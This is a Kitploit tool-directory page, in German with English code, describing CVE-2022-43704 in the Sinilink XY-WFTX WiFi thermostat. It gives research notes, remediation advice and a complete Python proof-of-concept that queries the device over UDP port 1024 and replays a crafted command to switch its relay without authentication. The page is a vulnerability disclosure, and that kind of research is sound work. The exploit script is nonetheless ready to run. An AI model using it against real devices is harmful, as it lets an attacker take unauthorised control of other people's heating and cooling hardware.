Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2022-43704 — Sinilink XY-WFTX WiFi-Fern-Thermostat-Modul Temperaturregler | Kitploit
Tools/GitHubGitHub/9lyph/cve-2022-43704
Authentifizierung & AutorisierungEmbedded-System-SicherheitPaket-Sniffing & AnalyseAufklärungIoT-SicherheitSchwachstellenanalyseExploitationDrahtlose SicherheitPenetrationstestsHardware- & IoT-Sicherheit
GitHub
52vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
9lyph/cve-2022-43704

CVE-2022-43704

Sinilink XY-WFTX WiFi-Fern-Thermostat-Modul Temperaturregler

Repository anzeigen

CVE-2022-43704 - Kanalzugriff durch Nicht-Endpunkt/Authentifizierungsumgehung durch Capture-Replay

Sinilink XY-WFTX WLAN-Fern-Thermostat-Modul Temperaturregler

Titel

sinilink

Produktdokumentation

  • Anwendung

  • Benutzerhandbuch

Hardware

Datenblätter

ESP8285

Buck Converter

Firmware

Produktbeschreibung

root@kitploit:~
Overview

WIFI Remote Thermostat High Precision Temperature Controller Module Cooling 
and Heating APP Temperature Collection XY-WFT1 WFTX

Technical Parameters

Temperature display: digital tube display
Supply voltage: DC 6~30V
USB power supply: support
Temperature control range: -40~110°C
Temperature control accuracy: 0.1℃
NTC temperature measurement range: -40~110℃
Whether to support 18B20: Yes (-40~110°℃)
Output type: relay switch, current within 10A
Alarm notification: support WeChat alarm notification
Cloud data record: 15 days cloud record, can be exported at any time
Timer switch function: support

Referenzen

MITRE

[Exploit-DB]

Hersteller

Sinilink.com

Forschung

  • Das Produkt verwendet WebSockets, um die Kommunikation zurück zu ws://mq.sinilink.com:8085/mqtt einzurichten.
  • Dieser Endpunkt wird als MQTT-Broker genutzt und ist nicht authentifiziert.

Angriffsflächenkarte

Befund

Kanalzugriff durch Nicht-Endpunkt

  • Das Sinilink WLAN-Fern-Thermostat mit Firmware V1.3.6 erlaubt es einem Angreifer, die vorgesehene Anforderung, über MQTT zu kommunizieren, zu umgehen. Stattdessen ist es möglich, Sinilink-Protokollbefehle wiederzugeben, die direkt mit dem Zielgerät interagieren. Dies ermöglicht wiederum einen Angriff, um das eingebaute Relais zu steuern, ohne eine Authentifizierung über die mobile App zu benötigen.
  • Das Zielgerät muss sich im 'Manuellen Modus' mit 'Einschalten, Schließen' als Voraussetzung befinden.

Voraussetzung einrichten

Schwachstelle

  • CWE-300: Kanalzugriff durch Nicht-Endpunkt
  • CWE-294: Authentifizierungsumgehung durch Capture-Replay

Bekannte betroffene Softwarekonfigurationen

  • V1.3.6

POC-Code

root@kitploit:~
#!/usr/local/bin/python3
# Author: Victor Hanna (Exploit Security)
# Sinilink WiFi Remote Thermostat
# CWE-300: Channel Accessible by Non-Endpoint

import requests
import re
import urllib.parse
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time
import socket
import time
from datetime import datetime

from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# Banner Function
def banner():
    print ("[+]********************************************************************************[+]")
    print ("|   Author : Victor Hanna (9lyph)["+Fore.RED + "Exploit Security" +Style.RESET_ALL+"]\t\t\t\t\t    |")
    print ("|   Description: Sinilink WiFi Remote Thermostat                                    |")
    print ("|   Usage : "+sys.argv[0]+" <host>                                                     |")
    print ("[+]********************************************************************************[+]")

def retrieve_device_info():

    SinilinkMsgFromClient = "SINILINK521"
    host = str(sys.argv[1])
    try:
        bytesToSend = str.encode(SinilinkMsgFromClient)
        serverAddressPort = (""+host, 1024)
        bufferSize = 1024
        print (Fore.GREEN + "[+] Retrieving Device Information ..." + Style.RESET_ALL)
        UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
        UDPClientSocket.sendto(bytesToSend, serverAddressPort)
        time.sleep(5)
        msgFromServer = UDPClientSocket.recvfrom(bufferSize)
        msg = "Message from Server {}".format(msgFromServer[0])
        msgSplit = msg.split(",")
        MAC = msgSplit[0][30:-1]
        dt = msgSplit[1][7:]
        converted = datetime.fromtimestamp(int(dt)).strftime("%A, %B %d, %Y %I:%M:%S")
        temp = msgSplit[5]
        degree = msgSplit[6][1:-1]
        relay_value = msgSplit[2][9:]
        print (Fore.CYAN + f"    --> MAC Address: {MAC}" + Style.RESET_ALL)
        print (Fore.CYAN + f"    --> Time Stamp: {converted}" + Style.RESET_ALL)
        print (Fore.CYAN + f"    --> Current Temperature Reading: {temp}{degree}" + Style.RESET_ALL)
        if (relay_value == "1"):
            print (Fore.CYAN + f"    --> Relay State: Open" + Style.RESET_ALL)
        else:
            print (Fore.CYAN + f"    --> Relay State: Closed" + Style.RESET_ALL)
    except:
        print ("Unsuccessful")

def send_payload():
    try:
        epoch_time = str(int(time.time()))
        msgFromClient = '4C:EB:D6:01:A8:7C{"MAC":"4C:EB:D6:01:A8:7C","time":'+epoch_time+',"param":[1,"M",0,20.8,"C","H",66,5,0,0,0,20.5,0,-40,0,0,5,1,0,0,0,0]}'
        bytesToSend = str.encode(msgFromClient)
        serverAddressPort = (""+host, 1024)
        bufferSize = 1024
        print (Fore.GREEN + "[+] Sending Payload ..." + Style.RESET_ALL)
        time.sleep(10)
        UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
        UDPClientSocket.sendto(bytesToSend, serverAddressPort)
        time.sleep(15)
        UDPClientSocket.close()
    except:
        print ("Unsuccesful")
    
# Main Function
def main():
    os.system('clear')
    banner()
    retrieve_device_info()
    send_payload()
    retrieve_device_info()



if __name__ == "__main__":
    if len(sys.argv)>1:
        host = sys.argv[1]
        main()
    else:
        print (Fore.RED + f"[+] Not enough arguments, please specify target and relay!" + Style.RESET_ALL)

Behebungsschritte

  • Überprüfen Sie die Identität der Entitäten an beiden Enden des Kommunikationskanals angemessen. Unzureichende oder inkonsistente Überprüfung kann zu einer unzureichenden oder falschen Identifikation einer der kommunizierenden Entitäten führen. Dies kann negative Folgen haben, wie z. B. falsches Vertrauen in die Entität am anderen Ende des Kanals. Ein Angreifer kann dies ausnutzen, indem er sich zwischen die kommunizierenden Entitäten stellt und sich als die ursprüngliche Entität ausgibt. Ohne ausreichende Identitätsüberprüfung kann ein solcher Angreifer die Kommunikation zwischen den ursprünglichen Entitäten abhören und möglicherweise verändern.

Pwnage

Entdecker/Credit:

Victor Hanna von Exploit Security

Folge mir auf

Mastodon Linkedin Youtube

Tool herunterladen